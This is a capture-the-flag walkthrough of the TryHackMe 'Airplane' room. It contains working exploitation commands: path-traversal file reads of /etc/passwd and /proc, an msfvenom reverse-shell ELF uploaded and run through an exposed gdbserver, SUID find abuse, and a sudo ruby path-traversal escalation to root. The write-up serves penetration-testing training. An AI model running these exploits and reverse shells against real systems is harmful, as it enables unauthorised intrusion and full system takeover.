TryHackMe: Airplane
Hey everyone, and welcome to another CTF walkthrough! Today, we’re buckling up and taking flight with the Airplane room on TryHackMe. Let’s see if we can get this bird off the ground and land ourselves a root shell.
Step 1: Reconnaissance - The Pre-Flight Checklist
First things first, let’s get our target’s IP address locked in. A quick export
will save us from typing it a million times.
1
export IP=10.10.77.146
With our target in our sights, it’s time to unleash the beast: nmap
. Let’s see what doors and windows are open on this airplane.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -T4 -n -sC -sV -Pn -p- $IP
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-05 16:01 +0300
Nmap scan report for 10.10.77.146
Host is up (0.070s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| 256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_ 256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open x11?
8000/tcp open http Werkzeug httpd 3.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.83 seconds
That airplane.thm
domain needs to be resolved. Let’s add it to our /etc/hosts
file so our browser knows where to go.
1
2
# Add this line to your /etc/hosts file
10.10.77.146 airplane.thm
Now, let’s visit http://airplane.thm:8000
in our browser.
A pretty simple page. Time to start poking around. Let’s fire up gobuster
to see if we can find any hidden directories or files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Fuzzing for common files and directories
❯ gobuster dir -w common.txt -u http://airplane.thm:8000/ -x md,js,html,php,py,css,txt,bak -t 30
===============================================================
Gobuster v3.7
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://airplane.thm:8000/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.7
[+] Extensions: txt,bak,md,js,html,php,py,css
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 42651 / 42651 (100.00%)
===============================================================
Finished
===============================================================
Well, that was a whole lot of nothing. gobuster
came up empty. It seems the web server is only serving index.html
. But wait… looking at the URL from our browser again, we see ?page=index.html
. A page
parameter? My vulnerability senses are tingling! This smells like a Local File Inclusion (LFI) vulnerability.
Let’s test this theory. Can we traverse the directory structure and read a classic file like /etc/passwd
?
1
2
3
4
5
6
7
8
9
# Trying to read /etc/passwd using LFI
❯ curl 'http://airplane.thm:8000/?page=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
Bingo! We have LFI. We can read files from the system. From the output, we see two interesting users: carlos
and hudson
. Let’s also grab the /etc/group
file to see if there are any interesting groups.
1
2
3
4
5
6
7
8
9
# Reading the /etc/group file to find user groups
❯ curl 'http://airplane.thm:8000/?page=../../../../../etc/group'
root:x:0:
# ... (output truncated for brevity)
sudo:x:27:carlos
# ... (output truncated for brevity)
lxd:x:133:
carlos:x:1000:
hudson:x:1001:
Interesting! We see that carlos
is in the sudo
group, and there’s also an lxd
group. This often hints at a container escape scenario.
Step 2: From LFI to Source Code
Since the web server is a Werkzeug/Python server, it must be running a Python application. The best way to figure out what’s happening under the hood is to read the source code. We can use our LFI vulnerability to peek at the /proc
filesystem. /proc/self/
is a magical directory that points to the process handling our current request.
Let’s check the status of the process to see who’s running it.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Checking the process status to find the user ID
❯ curl 'http://airplane.thm:8000/?page=../../../../../proc/self/status'
Name: python3
Umask: 0022
State: S (sleeping)
Tgid: 534
Ngid: 0
Pid: 534
PPid: 1
TracerPid: 0
Uid: 1001 1001 1001 1001
Gid: 1001 1001 1001 1001
# ... (output truncated)
The uid
is 1001
, which corresponds to our user hudson
. So, the web application is running as hudson
.
Now, let’s find out exactly what command started this process by reading cmdline
.
1
2
3
# Reading the command line arguments of the running process
❯ curl -s 'http://airplane.thm:8000/?page=../../../../proc/self/cmdline' | sed 's/\x00/ /g'
/usr/bin/python3 app.py
Just as we suspected! A Python script named app.py
. The process’s current working directory (cwd
) should contain this file. Let’s grab it.
1
2
# Retrieving the application's source code
❯ curl -s 'http://airplane.thm:8000/?page=../../../../proc/self/cwd/app.py'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
# Here's the vulnerable line! It directly concatenates user input.
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)%
The source code confirms our LFI. The line page = 'static/' + request.args.get('page')
is the culprit. By providing ../../...
in the page
parameter, we escape the static/
directory and can roam the filesystem.
Step 3: Deeper Enumeration - What Is Running?
The code itself doesn’t seem to offer another vulnerability. So, what else can we find with our file-reading powers? Let’s check active network connections with /proc/net/tcp
.
1
2
3
4
5
6
7
8
9
10
# Listing active TCP connections
❯ curl -s 'http://airplane.thm:8000/?page=../../../../proc/net/tcp'
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 16163 1 0000000000000000 100 0 0 10 0
1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 19114 1 0000000000000000 100 0 0 10 0
2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 18530 1 0000000000000000 100 0 0 10 0
3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1001 0 21651 1 0000000000000000 100 0 0 10 0
4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1001 0 21091 1 0000000000000000 100 0 0 10 0
5: 924D0A0A:B5A2 54E5FD03:01BB 02 00000001:00000000 01:00000481 00000004 0 0 71191 2 0000000000000000 1600 0 0 1 7
6: 924D0A0A:1F40 80CE150A:D82E 01 00000000:00000000 00:00000000 00000000 1001 0 71193 1 0000000000000000 27 4 30 10 -1
This output is a bit cryptic. The IPs and ports are in little-endian hexadecimal. A quick Python script can help us translate this into something human-readable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
# A handy script to decode /proc/net/tcp
tcp_states = {
'01': 'ESTABLISHED', '02': 'SYN_SENT', '03': 'SYN_RECV',
'04': 'FIN_WAIT1', '05': 'FIN_WAIT2', '06': 'TIME_WAIT',
'07': 'CLOSE', '08': 'CLOSE_WAIT', '09': 'LAST_ACK',
'0A': 'LISTEN', '0B': 'CLOSING', '0C': 'NEW_SYN_RECV'
}
def hex_to_ip(hex_ip):
ip_bytes = bytes.fromhex(hex_ip)
return socket.inet_ntoa(ip_bytes[::-1])
def hex_to_port(hex_port):
return int(hex_port, 16)
# Paste the data from curl here
raw_data = """
0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 16163 1 0000000000000000 100 0 0 10 0
1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 19114 1 0000000000000000 100 0 0 10 0
2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 18530 1 0000000000000000 100 0 0 10 0
3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1001 0 21651 1 0000000000000000 100 0 0 10 0
4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1001 0 21091 1 0000000000000000 100 0 0 10 0
5: 924D0A0A:1F40 80CE150A:87E2 01 00000000:00000000 00:00000000 00000000 1001 0 71212 1 0000000000000000 27 4 28 10 -1
"""
lines = raw_data.strip().split('\n')
print("Local Address -> Remote Address [State]")
print("-------------------------------------------------")
for line in lines:
parts = line.split()
if len(parts) < 4: continue
local_ip_hex, local_port_hex = parts[1].split(':')
remote_ip_hex, remote_port_hex = parts[2].split(':')
state = tcp_states.get(parts[3], "UNKNOWN")
print(f"{hex_to_ip(local_ip_hex):<15}:{hex_to_port(local_port_hex):<5} -> {hex_to_ip(remote_ip_hex):<15}:{hex_to_port(remote_port_hex):<5} [{state}]")
Running this script gives us:
1
2
3
4
5
6
127.0.0.1 :53 -> 0.0.0.0 :0 [LISTEN]
0.0.0.0 :22 -> 0.0.0.0 :0 [LISTEN]
127.0.0.1 :631 -> 0.0.0.0 :0 [LISTEN]
0.0.0.0 :8000 -> 0.0.0.0 :0 [LISTEN]
0.0.0.0 :6048 -> 0.0.0.0 :0 [LISTEN]
10.10.77.146 :8000 -> 10.21.206.128 :34786 [ESTABLISHED]
This confirms what nmap
told us: port 6048 is listening. Since we can’t run commands like ps
or netstat
, we have to get creative. Let’s write a simple bash script to loop through process IDs in /proc
and print their command lines. This is like a poor man’s ps aux
.
1
2
3
4
5
6
7
8
9
#!/usr/bin/env bash
for i in {1..800}; do
# Use curl to fetch the cmdline file for each process ID
out=$(curl -s "http://airplane.thm:8000/?page=../../../../../proc/$i/cmdline" | sed 's/\x00/ /g' | grep -v 'Page not found')
if [ -n "$out" ]; then
echo "$i : $out"
fi
done
Let’s run the script and see what we find…
1
2
3
4
5
❯ bash get-process.sh
# ... (lots of normal system processes)
532 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
534 : /usr/bin/python3 app.py
# ... (more processes)
Jackpot! Process ID 532 is running gdbserver
and it’s listening on port 6048
for anyone to connect. This is our way in! gdbserver
allows for remote debugging. If we can connect to it, we can control the execution of the airplane
program and, more importantly, make it run our own code.
Step 4: Gaining Initial Access via GDBServer
Time to craft a reverse shell. We’ll use msfvenom
to generate a simple ELF binary that will connect back to our machine.
I like to use docker but you can directly download metasploit framework from your package manager as well.
1
❯ docker run --rm -it -v $PWD:/data parrotsec/metasploit
Inside the msfconsole
:
1
2
3
4
5
6
msf6 > msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 PrependFork=true -f elf -o binary.elf
[*] exec: msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.21.206.128 LPORT=4444 PrependFork=true -f elf -o binary.elf
...
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: /data/binary.elf
Now that we have our binary.elf
, we can use gdb
to connect to the remote server, upload our binary, and run it.
First, set up a listener on your local machine to catch the reverse shell:
1
❯ nc -lvnp 4444
Next, connect to the gdbserver
:
1
❯ gdb
Inside the gdb
prompt, we’ll perform the following magic trick:
# Connect to the remote gdbserver
(gdb) target extended-remote airplane.thm:6048
Remote debugging using airplane.thm:6048
# Upload our malicious binary to the target's /tmp directory
(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".
# Tell gdb to execute our file instead of the original 'airplane' binary
(gdb) set remote exec-file /tmp/binary.elf
# Run the program!
(gdb) r
Starting program: /tmp/binary.elf
[Detaching after fork from child process 46409]
[Inferior 1 (process 46408) exited normally]
(gdb)
Check your netcat
listener. You should have a shell!
Let’s quickly upgrade to a fully interactive shell for a better experience.
1
2
3
4
5
6
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Press Ctrl+Z to background the shell
stty raw -echo;fg
# Press Enter
reset
Now, who are we?
1
2
hudson@airplane:/opt$ whoami
hudson
We’re in as hudson
!
Step 5: Privilege Escalation - Hudson to Carlos
Let’s see if there are any easy wins for privilege escalation. A good first step is to look for SUID binaries.
1
2
3
4
5
hudson@airplane:/home$ find / -type f -perm /4000 2>/dev/null
/usr/bin/find
/usr/bin/sudo
/usr/bin/pkexec
# ... (many others)
Well, hello there. /usr/bin/find
has the SUID bit set. This is a classic misconfiguration. A quick trip to GTFOBins shows us exactly how to exploit this.
1
2
3
4
5
# Using the find SUID binary to execute a shell with the owner's permissions (carlos)
hudson@airplane:/tmp$ find . -exec /bin/sh -p \; -quit
# The -p flag with sh tells it not to drop privileges
$ whoami
carlos
Just like that, we are now user carlos
! Let’s grab the user flag.
1
2
3
4
$ ls -la /home/carlos
-rw-rw-r-- 1 carlos carlos 33 Apr 17 2024 user.txt
$ cat /home/carlos/user.txt
*******************************
User flag captured! Now for the final boss: root.
Pro-Tip: Instead of this temporary shell, a more stable approach would be to use this newfound power as carlos
to add your SSH public key to /home/carlos/.ssh/authorized_keys
and then log in directly.
Step 6: Final Privilege Escalation - Carlos to Root
As user carlos
, the first thing we should always check is sudo -l
.
1
2
3
4
5
6
7
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User carlos may run the following commands on airplane:
(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
This is a gift from the heavens! We can run any Ruby script (*.rb
) located in the /root/
directory as root, without a password. The vulnerability here is the combination of the wildcard (*
) and our ability to control the path. We can’t write to /root/
, but we can use path traversal!
Let’s create our own malicious Ruby script in a world-writable directory like /tmp
.
1
2
# Create a ruby script that spawns a shell
carlos@airplane:~$ echo 'exec "/bin/sh"' > /tmp/shell.rb
Now, we’ll use sudo
to run the Ruby interpreter on our script by tricking it with path traversal.
1
2
3
4
5
6
7
8
9
# Use path traversal to make ruby execute our script from /tmp
carlos@airplane:~$ sudo /usr/bin/ruby /root/../tmp/shell.rb
# We have a root shell!
whoami
root
ls /root
root.txt snap
cat /root/root.txt
********************************
And there we have it! We’ve successfully piloted our way from a simple web page to a full root shell. Thanks for flying with me on this walkthrough!